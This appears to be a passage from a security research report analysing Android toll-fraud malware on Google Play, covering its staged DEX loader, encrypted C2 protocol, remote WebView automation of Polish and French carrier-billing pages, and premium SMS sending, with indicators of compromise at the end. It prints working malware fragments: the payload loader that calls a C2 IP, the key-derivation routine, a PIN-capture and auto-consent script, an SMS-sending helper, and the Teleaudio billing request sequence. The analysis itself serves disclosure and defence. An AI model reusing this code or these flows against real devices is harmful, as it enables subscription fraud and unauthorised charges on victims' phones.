Before retrieving the selected payload, stage 2 schedules a persisted JobScheduler job for WorkJobService, initializes AppsFlyer and reads the Google Play install referrer. It also starts the transparent LpMsdqActivity through an indirect activity launch chain. On Android 10 and later, it wraps the activity intent inside a broadcast PendingIntent, sets that pending intent as the media button receiver of a temporary MediaSession and dispatches a media button event. A registered receiver extracts the original intent and starts the activity. The accompanying virtual display and Presentation belong to this launch mechanism, not to the billing WebView.
The selected object is text encoded with Base64. Decoding it produces data compressed with gzip, and decompression produces the final DEX. For the default object selected during the Polish run:
HTTP body 123,388 B starts with H4sIAAAAAAAE...
Base64 decode 92,541 B starts with 1f 8b 08 (gzip)
gzip inflate 174,916 B starts with dex\n035\0
Stage 2 stores the encoded HTTP body as oyoangon for the default route or dewqq_rsp for the targeted route in the application's private files directory. Later executions can use this cached copy instead of downloading the object again. Stage 2 then decodes, decompresses and loads the final DEX through another InMemoryDexClassLoader:
byte[] compressed = Base64.decode(downloadedObject, Base64.DEFAULT);
byte[] dex = gunzip(compressed);
ClassLoader cl = new InMemoryDexClassLoader(
ByteBuffer.wrap(dex), context.getClassLoader());
Method entry = cl.loadClass("com.jk.MainEntry")
.getMethod("init", String.class, String.class);
entry.invoke(null, "47.84.77.127", installReferrer);
For Polish MCC 260, stage 2 invoked com.jk.MainEntry.init("47.84.77.127", installReferrer). The arguments are the default payload's C2 address and the Google Play install referrer. This call marks the end of stage 2 and the beginning of the default fraud payload.
Both payload objects were available:
| Route | Object last modified | Encoded object | Decoded payload |
|---|---|---|---|
| Default, observed for Poland | 24 Aug 2026 | 123,388 B | 174,916 B |
| Targeted/France and China | 9 Sep 2026 | 142,040 B | 216,724 B |
The object timestamps describe the stored files, not the operational status of their routes. Both objects remained available, and the default C2 issued current Polish jobs during analysis.
Messenger Pro default payload: behavior observed for Poland
The default payload searches the host manifest for an activity with an entirely numeric label. In this sample, label 6002 resolves to LpMsdqActivity, which stage 2 had already opened through the launch mechanism described above. During controlled execution with a Polish operator profile, this activity hosted the native Register form later used to collect a Polish telephone number.
C2 protocol and cryptography
com.jk.MainEntry.init(host, referrer) receives the C2 address 47.84.77.127, and the default payload constructs its C2 URLs over cleartext HTTP. During initialization, it also replaces the process wide default trust manager and hostname verifier used by HttpsURLConnection with permissive implementations. This weakens validation for Java HTTPS requests made inside the application process, but it does not configure the chromium TLS stack used by WebView.
When the protocol class first loads, it generates six random looking paths, one for each operation. For operation i, it chooses a random integer r between 0 and 998 and calculates:
n = r - (r mod 31) + i
It places one random ASCII letter before or after every decimal digit of n, then appends letters until the path contains at least eight characters. Removing the letters and calculating the remaining integer modulo 31 recovers the operation number:
| Operation | Purpose reconstructed from call sites |
|---|---|
| 1 | Register the package and device profile; receive the remote ID and country. |
| 2 | Poll for jobs and SMS commands; the polling loop reschedules after 30,062 ms. |
| 3 | Return a completed job, including result code, timing, page records and SMS or event records collected for that job. |
| 4 | Send a probe value with the remote ID; the native Register form uses it to submit the telephone number. |
| 5 | Upload diagnostic text or page HTML under a ?p=<job_or_record_id> label. |
| 6 | Relay a Secure-D carrier request through the C2 while preserving service specific headers. |
Each operation reuses its generated path for the lifetime of the process. A new process generates a different set. This provides operation and endpoint obfuscation rather than meaningful protection.
At the application layer, request bodies and response entities after HTTP content decoding are raw AES ciphertext. Captured application responses additionally used Content-Encoding: gzip on the wire. After HTTP content decoding, the payload decrypted the resulting ciphertext. The exact URL string, including the query string used by operation 5, becomes the key material:
byte[] digest = MessageDigest.getInstance("MD5").digest(url.getBytes("UTF-8"));
String hex = lowerHex(digest);
byte[] key = hex.substring(0, 16).getBytes();
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(mode, new SecretKeySpec(key, "AES"), new IvParameterSpec(key));
The first 16 ASCII hex characters form the 16 byte key; they are not decoded into eight bytes. The IV equals the key. Because the URL crosses the network in cleartext and deterministically supplies both values, this encryption hides the traffic but no secret key or message authentication.

Figure 3. How Messenger Pro encrypts C2 traffic.
During controlled execution, the application generated path /A2W80jUc. Its digits form 280, and 280 mod 31 = 1, identifying a registration request. The captured URL and derived key were:
POST http://47.84.77.127/A2W80jUc
key = IV = ASCII("e5eab0a8914cd673")
Decryption of the 176 byte request body produced:
{
"josiwo": "com.messages.sms.messenger.textmessage.owyo",
"worikt": "26001",
"zubfih": "1789473394955",
"qredyb": 35,
"kdthit": 312,
"xjnguw": "google",
"tffhhk": "null_ref"
}
The fields carry the package name, MCC/MNC, installation time in Unix milliseconds, android SDK level, constant payload marker, device brand and Google Play install referrer. The server returned a 103 byte gzip body. HTTP decompression produced 80 bytes of AES ciphertext, which decrypted to 64 bytes of JSON:
{
"bshwai": 60727718,
"xjnguw": "",
"ejqgpk": "",
"hyszxc": "PL"
}
The backend assigned remote ID 60727718 and country PL. This captured registration is the exchange summarized in Figure 3.
To observe tasking when cellular connectivity, inbound SMS and outbound SMS were all reported as available, we registered a separate bounded profile. The backend assigned remote ID 60723698. Its operation 2 poll used a different URL and therefore a different key:
POST http://47.84.77.127/a3b1c2de
key = IV = ASCII("19b8c8d1caee32bf")
Decrypted request:
{
"zubfih": "1789440000000",
"bshwai": 60723698,
"eymbmw": true,
"rktfht": true,
"segdip": true
}
Operation 2 is more than a heartbeat. It tells the backend which fraud routes the device can support. eymbmw reports cellular connectivity, rktfht reports the inbound SMS capability and segdip reports the outbound SMS capability. These values allow the backend to distinguish devices that can open carrier billing pages, capture verification messages or send premium SMS. The 6,928 byte ciphertext response decrypted to the following work package:
{
"lybfta": [{
"ejqgpk": 863176325,
"gooycf": "https://nmx4e6qj.com/bV1p5aXg?campaign=10375&sub_aff=5063176325&sub_aff3=EZ",
"inbzrz": 200,
"hyszxc": true,
"eymbmw": true,
"gkreil": ["<7 rule objects omitted>"]
}],
"jxdkqb": {
"segdip": "+447752070662---rch59419069"
}
}
The response reused several field names with different meanings. In the request, eymbmw reported that a cellular route was available. Inside the returned job, eymbmw: true required the payload to obtain and bind to that route. If this failed, the job ended with result 203. Similarly, hyszxc carried the country code PL during registration, but hyszxc: true in the job selected a mode in which the payload retrieved page content through its native HTTP client before loading it into WebView.
lybfta contained the browser task. Although represented as an array, the payload read only its first element. ejqgpk was job ID 863176325, which the client later included in its result. gooycf supplied the initial affiliate URL. gkreil contained seven URL matching rules and their JavaScript bodies, allowing the C2 to define how the payload should respond as redirects reached different billing pages. inbzrz selected execution mode 200. Values of 300 or higher enable additional tracing and page capture paths.
The outer jxdkqb object was processed independently and before the browser task. Its segdip value used the format destination---body, instructing the native SMS helper to send rch59419069 to +447752070662. Elsewhere in the payload, an incoming message beginning with rch triggers a request to /op/pair containing the suffix and the sender's telephone number. Together, these paths are consistent with a telephone number pairing mechanism. We observed the send instruction but not its receiving side, so the exact role of the UK number remains unconfirmed.
Remote tasking and WebView bridge
The decrypted operation 2 response shown above contained the browser job in lybfta. Its gkreil array was replaced with <7 rule objects omitted>. Expanding that array revealed seven C2 supplied rules. Each paired a URL expression with JavaScript that the payload would execute when the WebView reached a matching page. We inspected the complete rule set without opening the assigned start URL:
| Rule ID | URL expression | Supplied behavior |
|---|---|---|
| 162785 | ua.forward-tv.net/lp |
Detect phone or PIN page, insert MSISDN, intercept a PIN containing 4 to 6 digits, check disclaimer and submit. |
| 162800 | service_unavailable |
Stop with code 905. |
| 62745 | lp.ooxxporn.net/pl/lp.html |
Select a consent checkbox and submit. |
| 62746 | dcb.teleaudio.pl |
Polish phone number and PIN workflow. |
| 98259 | consulate.teleaudio.pl/dcbev/ |
Extract path values and redirect into the Teleaudio DCB flow. |
| 158754 | aff.odyss.club/... |
Stop with code 905. |
| 162662 | izy0.com |
Stop with code 905. |
Code 905 is a terminal result the C2 assigns to dead end routes: an unavailable service, an unwanted affiliate redirect or a blocked domain. The payload ends the job immediately without further page interaction.
The job required cellular connectivity and began at hxxps://nmx4e6qj[.]com/bV1p5aXg?campaign=10375&sub_aff=5063176325&sub_aff3=EZ. The principal branches of its Teleaudio rule are shown below with variable names normalized. Logging, error handling and the delayed retry helper have been omitted:
var phone = document.querySelector('.phone-number');
var pin = document.querySelector('.form-control');
if (phone != null && phone.offsetHeight > 0) {
phone.value = 'NNNNBBBB';
phone.dispatchEvent(new Event('input', {bubbles: true}));
document.querySelector('.btn').click();
nextThings();
} else if (pin != null && pin.offsetHeight > 0) {
var code = window.JBridge.call(
'popMsg',
'2::(kod|PIN|code).*?(\\d{3,6})'
);
if (code == '') {
window.JBridge.call('finish', '305');
} else {
pin.value = code;
pin.dispatchEvent(new Event('input', {bubbles: true}));
var checkbox = document.querySelector('.checkmark');
if (!checkbox.checked) checkbox.click();
document.querySelector('button.btn').click();
setTimeout(() => window.JBridge.call('finish', '100'), 5000);
}
}
The C2 supplied NNNNBBBB as a placeholder for the telephone number associated through operation 4. It remained unresolved in our jobs because we supplied no usable number. The omitted nextThings() helper schedules result 302 for 20 seconds later and repeats the PIN retrieval branch. The rule is therefore designed to automate number entry, PIN extraction, consent and submission. Its regular expression explicitly recognizes the Polish word kod.
The C2 scripts use the stable expression window.JBridge.call(...), but that is not the object name exposed inside the running WebView. The custom WebView creates a random four character name followed by _. The following code has normalized variable names, while the replacement strings and moixxt method name are exact:
bridgeName = randomAlphaNumeric(4) + "_";
interfaceName = name.replace("JBridge", bridgeName);
script = script.replace("JBridge.call", bridgeName + ".moixxt");
The C2 can therefore use the stable JBridge.call syntax, while each WebView instance exposes its native interface under a different name.
The two arguments to moixxt are a command and its value. The dispatcher logs every invocation as js-><command>:<value> before calling the native implementation:
| Command | Native effect |
|---|---|
log |
Record the supplied text in the current job trace. |
finish |
End the current job with the supplied result code. |
schedule |
Schedule result 302 after a C2 supplied delay. |
textTo |
Split destination---body and call SmsManager.sendTextMessage(). |
popMsg |
Search the active message queue with a C2 supplied regular expression. |
resetMsg |
Clear both message queues before a new verification attempt. |
probe |
Submit a value through C2 operation 4. In this workflow it is used for a candidate telephone number. |
request |
Perform a native HTTP GET or POST with supplied headers and body. It can return text, Base64 or the final URL together with the body. |
touch |
Enqueue a synthetic touch at supplied coordinates. |
dump |
Store captured HTML in the current page record. |
headers, data, url, mainFrame, b64 and finalUrl are fields accepted by the request command, not separate bridge commands. This distinction is visible in the native JSON parser.
The task WebView enables JavaScript and DOM storage, permits mixed content and allows JavaScript to open windows automatically. Type 100 rules, including the seven above, execute JavaScript when the main page URL matches. Type 300 rules intercept matching resource requests, retrieve their contents through the native HTTP client, apply C2 supplied replacements and return the modified response to chromium. A job option can also suppress requests to notify.clfldcbprotect.com, notify.dcbprotect.com and notify.eyewitness.evina.com. No sampled Polish job enabled this option, and anti fraud notification traffic remained visible during the All4You run. Response modification and request suppression therefore remain capabilities, not observed behavior.
A single response does not show the available task range. We therefore polled operation 2 50 times from one controlled PL profile without opening the returned URLs. The server supplied 41 unique jobs followed by nine empty responses. Those jobs contained 324 rule instances, 119 unique URL expressions and 75 unique JavaScript bodies. Their start URLs referenced campaigns 10371, 10372, 10374 and 10375. The rules covered Teleaudio and Dimoco flows, direct premium SMS, phone and PIN forms, success messages and error handling. Repeated polling did not expose other clients and cannot be used as a victim count.
We also compared capability flags sent in operation 2:
| Reported capabilities | C2 behavior observed across 10 polls |
|---|---|
| Receive and send SMS unavailable | No jobs. |
| Send SMS available, receive unavailable | Direct premium SMS jobs remained available. |
| Receive available, send unavailable | WebView billing jobs remained available, but direct SMS jobs did not. |
| Cellular path unavailable | All returned jobs had the cellular requirement disabled. |
The flags are policy inputs. They allow one payload to serve both browser based billing and premium SMS campaigns while avoiding tasks the device cannot complete.
Number collection and premium SMS execution
In one controlled run, the payload registered MCC/MNC 26001, received country PL and obtained job 864515147. The job followed this chain:
nfaoh[.]com/brzb0xjr
-> banana66.fuse-cloud[.]com/tl
-> atemobi[.]com/click?campaign_id=119
-> pl.mygold[.]click/loovafit/download-blue-v2/
-> sms:92505?body=LOOVAFIT%20NET
The remote rule passed both forms of the short code to SmsManager. The calls were intercepted in the analysis environment and did not reach a mobile network:
{"destination":"92505", "body":"LOOVAFIT NET", "blocked":true}
{"destination":"+92505", "body":"LOOVAFIT NET", "blocked":true}
The malware sent both variants immediately and retried after 60 seconds. No reply entered the job queue, so operation 3 returned result 305 and operation 5 uploaded a trace containing the redirect, bridge commands and timing. Subsequent jobs attempted LOOVAPLAY F4J to the same short code.
Figure 4 combines pcap, decrypted bodies, the uploaded trace and intercepted SMS calls. The broken time axis preserves the fast C2 exchanges and the 60 second reply wait.

Figure 4. Observed C2, WebView and premium SMS sequence for job 864515147.
The C2 registration response stored hyszxc: "PL" in a global country field. Once the host had RECEIVE_SMS, the payload opened a noncancelable DialogFragment. It constructed the entire screen in Java and selected validation rules from a country table:
For Poland, the dialog displays prefix +48 and accepts any nine digits without checking whether the number is allocated. The deliberately impossible value 000000000 therefore enabled its button.
Pcap decryption recovered the exact exchange:
POST http://47.84.77.127/E8m72HOs
operation = 4
key = IV = ASCII("9c382a93c03cadc6")
plaintext = {"c":60727718,"n":"000000000","f":"1"}
ciphertext = 48 bytes
response = HTTP 200 with an empty body
The dialog then closed, but later jobs still contained NNNNBBBB. The capture therefore does not show that the backend accepted the impossible value as subscriber data.
The left image shows the malware's native +48 form. The right image comes from the earlier device run and shows android identifying the actual risk: Messenger Pro wanted to send to 92505, and the message could cause charges.
A later 240 second run captured three complete Polish premium SMS jobs. The third, job 865090137, followed campaign 10372 through an affiliate chain to a live All4You page. Its DOM identified Poland, shortcode 92513, display keyword ALL 64913 and provider RedLeads B.V. The legal text disclosed a one time charge of 30.75 PLN including VAT for three months of access.
The live page exposed its action as an SMS link:
<a id="smsToButton"
href="sms:92513?body=ALL 64913"
style="display: block;">Obejrzyj wideo</a>
The matching C2 rule contained one statement:
document.querySelector("#smsToButton").click();
Chrome DevTools Protocol recorded what happened next:
1789481145.377615 GET sms:92513?body=ALL%2064913
initiator: script
hasUserGesture: false
The navigation did not come from a tap. After the remote statement clicked the link, the payload's JavaScript bridge parsed the sms: URL and called the native SMS API for both forms of the short code:
{"destination":"92513", "body":"ALL 64913", "blocked":true}
{"destination":"+92513", "body":"ALL 64913", "blocked":true}
No matching DA ALL reply arrived. Operation 3 returned result 305 after 68,270 ms, and operation 5 uploaded a trace which named the page, SMS URI, bridge commands and reply expression. The visible inbox remained on screen while the separate job WebView continued running inside the application process.
SMS handling and cellular routing
The default payload registers an SMS_RECEIVED receiver, parses incoming messages and adds their bodies to the active job queue. The bridge command popMsg searches this queue with a regular expression supplied by the C2. A message beginning with rch also triggers a separate pairing request which associates the suffix and sender with the C2 device ID.
Operation 3 reports the job ID, result code, elapsed time, matched pages and timestamped SMS, notification and error records. Operation 5 can additionally upload the textual trace and retained HTML. This feedback lets the backend distinguish missing messages, changed page selectors and provider rejection. All controlled runs returned failure results.
The default payload DEX also contains com.jk.NoteListener, which can extract notification text and call cancelAllNotifications(). The class is absent from the outer manifest, and no other reference to it exists in the payload DEX. The manifest declares only an unrelated empty notification service. We did not grant notification listener access, so this remains a dormant capability. The targeted payload has a more explicit injection path described later.
The payload requests a network with TRANSPORT_CELLULAR and NET_CAPABILITY_INTERNET, stores the resulting Network, and can bind the application process to it:
NetworkRequest request = new NetworkRequest.Builder()
.addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
.addTransportType(NetworkCapabilities.TRANSPORT_CELLULAR)
.build();
connectivity.requestNetwork(request, callback);
connectivity.bindProcessToNetwork(mobileNetwork);
Carrier billing often relies on subscriber identity from the mobile network, so this is a core feature rather than a fallback. The observed jobs used a WebView that was not attached to the visible Messenger Pro activity. CDP recorded navigation and C2 JavaScript while the inbox remained on screen. Other runners can use a virtual display, but we did not observe that mode and do not assign it to the All4You or Teleaudio runs.
Teleaudio carrier billing
The live C2 supplied browser automation for dcb.teleaudio.pl, but the payload did not depend entirely on remote JavaScript. It also contained a dedicated state machine activated when the job URL carried the pl_protocol marker and navigation began with https://epayment.teleaudio.pl/api2/.
The strings were protected with StringFog XOR using a repeating key. Decrypting them recovered the complete request sequence below. Placeholders are values extracted from the original URL or response:
| Step | Request and purpose |
|---|---|
| 0 | GET the epayment.teleaudio.pl/api2/... URL supplied by the server. Derive <product> from the seed URL and <transaction> plus <sid> from the resulting URL. |
| 1 | GET http://epayment.teleaudio.pl/api2/cellular_<product>/direct/open?transactionId=<transaction>&sid=<sid> and follow the returned URL. |
| 2 | If no number is already available, send an authenticated GET to https://epayment.teleaudio.pl/api2/cellular_<product>/direct/transaction2/cellular/<transaction> and read order.msisdn from its JSON response. |
| 3 | POST https://epayment.teleaudio.pl/api2/typeundef_<product>/direct/proceed with the transaction ID, MSISDN, carrier marker and connection type. |
| 4 | Wait for an SMS matching 2::(kod|PIN|code).*?(\d{3,6}). |
| 5 | POST https://epayment.teleaudio.pl/api2/ta/direct/confirm with the transaction ID and captured PIN. |
| 6 | GET https://epayment.teleaudio.pl/api2/ta/direct/status/<transaction> and look for the Polish success sentence. |
The two JSON bodies reconstruct to:
// /direct/proceed
{
"TransactionId": "<transaction>",
"Msisdn": "<number>",
"Carrier": "U",
"Consents": null,
"Connection": "typeundef"
}
// /direct/confirm
{
"TransactionId": "<transaction>",
"Pin": "<captured_code>",
"Consents": null
}
The transaction lookup and subsequent API calls set Authorization: Bearer <sid>; the POSTs also set Content-Type: application/json. The state machine reports code 901 when it cannot recover an MSISDN, 902 when the proceed response contains ERROR, 305 when no PIN arrives, and 903 when the final status page lacks Transakcja zakończona pomyślnie. Only a response containing that sentence produces success code 100.
The compiled protocol demonstrates that the Polish logic did not depend only on remote rules. The downloaded DEX contained the provider's API layout, JSON fields, bearer token handling, Polish SMS vocabulary and success text.
We then compared the compiled state machine with live behavior. A fresh installation with virtual cellular data received job 865195912 for campaign 10371. The C2 rule matched consulate.teleaudio.pl/dcbev/ta2.* and attempted to extract a number from #pin-label-id. No number appeared, so operation 4 was not called. Payload and CDP traces reconstruct the route:
l21smh2x[.]com campaign 10371
-> century-mobile[.]com/uf/step
-> consulate.teleaudio[.]pl/dcbev/ta2/ufor/...
-> epayment.teleaudio[.]pl/api2/wifi_nmd/direct/transaction2/wifi/<transaction>
The final Direct Billing AoC page contained an empty telephone field, a disabled Dalej button and this Polish text:
Opłata 17,00 zł naliczana co 7 dni
Wprowadź swój numer telefonu
Za chwilę otrzymasz wiadomość z kodem PIN, którym zatwierdzisz zamówienie.
The form never appeared in the visible activity. During real execution the payload loads and operates this page inside a background WebView, so a victim never sees it while the inbox remains on screen. For documentation, we replayed the captured campaign URL in Chrome on the test device to show the same page at a normal mobile viewport.
Live Teleaudio subscription page reached from the captured campaign URL in Chrome on the test device. The malware reached the same form in a WebView outside the visible messenger interface.
CDP and operation 5 both recorded a GET to the wifi_nmd transaction lookup endpoint. After 73.641 seconds, operation 3 returned result 302. The landing page and lookup are therefore observed behavior; the later proceed, PIN confirmation and status requests remain static capabilities.
The same process completed Games2day, Mind+ and Bitegames jobs and began a Learn English flow. Games2day attempted GRAM 23844 to 92512 and +92512, while an independent command requested rch59424826 to +447752070662. None of these messages reached a mobile network.
Beyond the observed jobs, decoded classes and templates supported Thai AIS, DTAC, True and Mobilelife endpoints, Indonesian Telkomsel purchase flows, Kenyan Safaricom and South African MTN Secure-D workflows. Generic jobs could chain HTTP requests, extract values and wait for SMS. Integrations with 2Captcha and Anti-Captcha show that the operator expected enrollment flows to encounter bot protection. We have omitted the embedded CAPTCHA service credential.
Messenger Pro targeted payload for MCC 208 and 460
This Messenger Pro branch was not selected for Poland during our observation because its policy listed only MCC 208 and 460. The later Phone Cleaner Master policy demonstrates that the operator could assign Polish devices to the same AqMu payload family in another build.
C2 protocol and tasking
For MCC 208 and 460 in the observed Messenger Pro policy, stage 2 selects a different DEX and C2 protocol. The payload uses the fixed endpoint http://47.84.194.202/asnvoycs, identifies the package in every request and carries parameters inside an action object. It again uses AES-CBC with the IV equal to the key, but derives both from the embedded password u18r3ze2:
MD5("u18r3ze2") = 5f52a1692dc5d4279ca44cb9d34a582a
key = IV = ASCII("5f52a1692dc5d427")
Recognized actions include rrss registration, dkco polling/job result, and the reporting actions gxns, ykty and hchs. The server can respond in plaintext JSON or AES ciphertext.
The targeted route rejected a registration containing a Polish MCC with HTTP 500, consistent with the loader policy. We then used a controlled French profile (20801) and performed one registration followed by one poll.
The registration supplied an install ID, MCC/MNC 20801, subscription ID, android versions and install referrer. The response assigned ID 245651 and returned an FR landing page:
{
"zpri": 0,
"ljyq": {
"odrv": 245651,
"tkyb": true,
"qhjq": "https://x.euono.com/r.html?c=FR",
"tpiw": true
}
}
The following poll reported SMS access and the selected subscription. Its response assigned a billing URL, remote JavaScript and an independent SMS command:
{
"zpri": 0,
"ljyq": {
"bjxv": "+447752070662---gs:245651",
"tunj": {
"mqjh": 1,
"wsil": "https://auezon.com/QgybEYAV?aff_sub2=10447&aff_sub3=3501-245651-0",
"dybc": "https://x.euono.com/fokr/main.v2.js",
"uhlx": 3501,
"mdly": 101,
"imet": false,
"vbxi": {}
}
}
}
No instruction was executed. Both C2 servers returned the SMS destination +447752070662. The protocols, C2 IPs and command bodies differ, but this operational resource is shared between branches. Combined with the common loader and routing policy, it provides strong evidence that both payloads belong to one operation.
The Phone Cleaner Master AqMu DEX is a separate obfuscated build of this targeted payload framework. Both contain 112 classes with the same package size distribution and retain the same fallback and event reporting configuration. Their primary C2 addresses and passwords differ, which indicates per build configuration rather than one shared endpoint. We did not poll the Phone Cleaner Master C2, so the French tasking below is evidence from the Messenger Pro AqMu backend only.
The targeted job referenced main.v2.js. We retrieved it as inert evidence: 33,663 bytes, 1,045 lines, SHA-256 a2f292da1eb6da3bcd1b2bf2340478c2f02a4844bfaa85f00d6e4820bbbe597a.
The script contains 43 dispatch rules and explicit handlers for 10 French premium SMS short codes:
81054 81056 81059 81067 81092
81097 81174 83767 84071 84072
One helper function sends both forms of a short code:
function sendSmsPair(numm, text) {
window.JBridge.call('textTo', numm + '---' + text);
window.JBridge.call('textTo', '+' + numm + '---' + text);
}
The handlers parse sms: URLs, send their body and call popMsg up to 12 times while waiting for OK or a reply containing 3 to 6 digits. They then transmit a confirmation such as DA, DA KROX, DA GBT, OK, or the original body. A generic fallback handles previously unknown sms: links. Other rules insert an MSISDN prefixed with the French country code, click controls and report a terminal code to the app.
This division of labor is operationally useful: the APK supplies durable capabilities, while the remotely hosted script can be updated whenever a content provider changes its page or SMS syntax.
Additional targeted capabilities
The targeted DEX contains three significant capabilities which were not activated during our tests:
| Capability | Implementation |
|---|---|
| Notification interception | Uses HiddenApiBypass and android ActivityThread internals to replace the handler of a running notification listener. Captured text enters the job queue, after which the payload can clear notifications. |
| Multiple SIM routing | Enumerates active subscription IDs and requests TRANSPORT_CELLULAR with NET_CAPABILITY_SUPL through a TelephonyNetworkSpecifier. The C2 field mqjh selects a subscription, indicating an attempt to route activity through a chosen SIM. |
| Network relay | Implements TCP, UDP and framed WebSocket streams with reconnect, health check and event reporting logic. Embedded configuration references 129.226.172[.]250, 47.84.188[.]213/abxy/relay and api.appbhwljk[.]com/api/v3/wkev. |
Neither live response activated these features, and we did not contact the relay endpoints. If enabled, the relay could provide network egress traffic associated with the victim's mobile connection in addition to subscription fraud.
Conclusion
The investigation preserved 1235 Meta advertisements and connected 852 of them, displayed under 60 identified profile names, to 17 malicious Google Play applications through code or infrastructure. Six exposed recovered toll fraud components or direct payload links, while 11 exposed related loader behavior without a recovered final fraud module. Exact advertising image reuse connected the paid acquisition layer, while the loader architecture, policy infrastructure, WHOIS records, OSS objects and payload configuration connected the applications themselves.
The Messenger Pro baseline demonstrates that distribution through Google Play does not establish application safety. The visible messenger provided a plausible explanation for its SMS permissions, while four executable layers separated their fraudulent use from the submitted application.
For Polish users, the implemented capabilities were supported by live C2 responses. MCC 260 passed the gate, the policy selected the default payload, the payload registered a PL device and its C2 supplied Teleaudio automation. One device run loaded the live Teleaudio subscription form and requested its transaction lookup API. No telephone number or PIN was submitted, so the transaction did not advance. Separate jobs reached other Polish subscription pages and attempted premium SMS transmission to 92505, 92512 and 92513.
Phone Cleaner Master showed that the country assignment could change between builds. Its policy explicitly selected PL260 for a newer AqMu payload configured with another C2 endpoint. Poland was therefore not permanently tied to the Messenger Pro default route. The operator could move a country between payload frameworks by changing the remote policy and distributing a newly configured build.
Every application discovered during the investigation was reported to Google and removed from the store. Meta also removed the advertisements we had reported, although other advertisements in the same operation may have remained active without our knowledge or expired on their own. Individual removals interrupted specific installation paths, but new packages appeared, the C2 infrastructure remained active and copies installed before removal could still reach it.
The operator separated stable capabilities from changeable business logic. Encrypted DEX stages protected the loader's purpose, object storage delivered replaceable payloads, a policy could move countries between branches and remote JavaScript adapted the implant to individual billing pages. This architecture, rather than any single domain, is the central indicator of how the operation worked.
Indicators of compromise
Indicators were observed or recovered between 14 and 21 September 2026. Network values are defanged. Billing and affiliate destinations are separated from infrastructure attributed to the loader operation.
Messenger Pro
- Package:
com.messages.sms.messenger.textmessage.owyo - Base APK SHA-256:
dfe8f46ab3cefa99382f9d2a4dab881cb9551497e9bc5d6a95fe4cf4b7c8df03 - ARM64 configuration split SHA-256:
ce6cd404fbf7f5ef42afebe04ecfb0d4349884cadfbe7e0ad92cf023f9df07ed - Signer certificate SHA-256:
44e4971490a2b876a204ca1d9f5e87d0b4e7a8354258368267befa222a88d679 - Source Stamp certificate SHA-256:
3257d599a49d2c961a471ca9843f59d341a405884583fc087df4237b733bbd6d - Stage 1 DEX SHA-256:
2f3093e9790e541c626b58c058c1098ca8ea25abab875771b285dcae04b1298e - Stage 2 DEX SHA-256:
c21361d183d7b649e6af869a911e210ff8a293fcb91695694992a1428fb5bf28 - Default payload DEX SHA-256:
8ffa31b8d6ba3ba217b4f658539b6c6894d75709842482c2248d056ee080a79c - AqMu payload DEX SHA-256:
79e3a8b1b19f1af6c80e728d32652e11a63c1d35517dd448760249fc42efceb7 - Remote
main.v2.jsSHA-256:a2f292da1eb6da3bcd1b2bf2340478c2f02a4844bfaa85f00d6e4820bbbe597a - Policy endpoint:
api.tehsnb[.]link/sabd/mckd - Default payload C2:
47.84.77[.]127 - AqMu payload C2:
47.84.194[.]202/asnvoycs - Initial Meta Ad Library IDs:
1101937705505412,4635863290017072
Phone Cleaner Master
- Package:
com.ms.phonecleaner.clean.junk.pkoza - Base APK SHA-256:
6dafefa5a88dea6021028b4b58c58e60422af96296318c84cf898bd3aecc4ee9 - ARM64 configuration split SHA-256:
6ff20ddfb5d3fda08aea05f70af1d907ed782b3e043a2ee98a98ef2361824f8b - Signer certificate SHA-256:
71fd2453a6303058e193cef446fb796a59c6d0ab1f1c9cf9c887fec5b6a34089 - Stage 1 DEX SHA-256:
eb51fea688ded3ae08fbde2130b859c70e90ce4730f9464120b2ffab087946de - Stage 2 DEX SHA-256:
20e97d2717fca6cb4216f762d0c9cffe5b314e1331591d9800f827e988450711 - AqMu payload DEX SHA-256:
aa06f574b48b2ee071d6488616280be91a2854b38a702c3a2cc92cb2824413aa - Policy endpoint:
api.hsbdbv[.]link/mkds/cneu - AqMu payload C2:
47.84.193[.]174/j26j8vf7 - Default branch C2:
47.84.57[.]5
Other advertised operation applications
Cool Wallpaper - com.supono.ihgsvco
base APK: 0ddbae8ed57090473cacca22bdfe2bdc2456276a7091633b529729ad86798bd6
Max Messenger - com.maxmessenger.sms.pkqlav
base APK: dbbe94fb651a16664ac745a07ad4937eea6605ecf9079ff032ba600ca79f96b9
ARM64 configuration split: 79b095e3e565edad6704ed7886d6fb465ae63d96f16f10f7e52e3da1977c1236
ARM64 routing stage: ec5428f45615256db30497661ca5c081ce53b97b6084c0841d77f4c33f425e66
Text Chat - com.text.chat.messaging.sms.vccqaho
APK variant: 7e94933820874bde642743e839fd079e2d9084d473b807af97ed361f55fc31d1
APK variant: 84c5a91e25ce62bc8ca7ca6e70f50be639cb98974ede2bcc51c3ee6fcb72065a
APK variant: c5f908441cfe3437b1f51497dc9608f77204a00265edd1a6d840aebfa3f28786
PDF Scanner Art - com.pdfscanner.artyo
base APK: 245940bf77583138de870d91628b26c2d6ea480a711dd9b38922f985ceafcd48
Seed Text Messages - com.seeds.textsms.avon
base APK: c35febe019f51ab161fa884d7d5c2c377e1450a7054b4f059eca34e4ec1085cb
Instant Messages - com.instantmessages.textdatamessages
base APK: 4dcac05ba219fe5c94d8420e7dbfa4594c2e56f76bcb54fbe3a7ff2be161a96a
Short Messages - com.shrtsms.xxmessages
base APK: 933c241a27cb83613cba5229422951d8080c77a58784cc31dc0b58d5a03e6259
Text Messages - com.cuff.textsms.messages.patk
base APK: 1126d64ee7d490fb8bb92c419a5bb110f928148c14ee62b855b8d7d3f846d315
Quick Chat Message - com.chatmessages.textsmsmessanger
base APK: d2d38925e3446b62819fd959feb171a7873842801826d54227924bcd7afb8596
PDF Scanner Pro - com.pdf.quantum.scanner
base APK (2.1.5): a6bc28f9bec74184eaa54411437c8a2de40f72532d357a9f4b9f4173ed3458b5
ARM64 split: 560809e38aa3ce2078c31b4ffea2d41bcac977492a69e34f23fca6c7d93785be
libjcxo.so: f39ab5ea54a99e6e78abd00061095c3063008b2c7378594a78959fb4dadb3c02
signer certificate: 3434983b6011020573f2243931681eceb412d2055e43366081633813cc6e38e9
Text Magic Messages - com.efasms.magical.tmmssages
base APK (1.1.61): d004bb904083d2ef95cc0ccdcbf4b08c4afd1ee7aae2dbff06cb5c118e41dfe3
signer certificate: 490a66c35052771c163db9c3d1da3abd37da8f7c2f5b8e42b3770d31fed16dcf
Lite PDF Scanner - imagetopdf.pdfconverter.jpgtopdf.avabcl
base APK (2.1.5): b14b55947ba425ed5517e0c9e5d68c23095223c3900e14d327041f7a10759836
signer certificate: 6a81aba88c00fa3c25cb12abc2439200e36501dc4635b3a77e090f7254661890
Text Message Pro - com.tipro.smstext.message
